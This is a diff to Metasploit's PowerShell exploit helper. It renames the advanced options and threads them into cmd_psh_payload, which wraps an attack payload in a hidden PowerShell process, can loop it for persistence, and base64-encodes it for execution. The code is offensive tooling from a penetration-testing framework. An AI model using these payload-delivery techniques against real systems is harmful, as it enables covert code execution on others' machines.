diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index 5539f5c8f4..ec0cd1b451 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -11,7 +11,9 @@ module Exploit::Powershell super register_advanced_options( [ - OptBool.new('RUN_WOW64', [ + OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]), + OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]), + OptBool.new('PSH::RUN_WOW64', [ false, 'Execute powershell in 32bit compatibility mode, payloads need native arch', false @@ -98,7 +100,7 @@ EOS # # Creates cmd script to execute psh payload # - def cmd_psh_payload(pay, old_psh=false) + def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['PSH::RUN_WOW64']) # Allow powershell 1.0 format if old_psh psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) @@ -106,14 +108,14 @@ EOS psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay) end # Run our payload in a while loop - if datastore['PERSIST'] + if datastore['PSH::PERSIST'] fun_name = Rex::Text.rand_text_alpha(rand(2)+2) sleep_time = rand(5)+5 psh_payload = "function #{fun_name}{#{psh_payload}};" psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" end # Determine appropriate architecture, manual method reduces script size - ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' + ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' # Wrap in hidden runtime psh_payload = run_hidden_psh(psh_payload,ps_bin) # Convert to base64 for -encodedcommand execution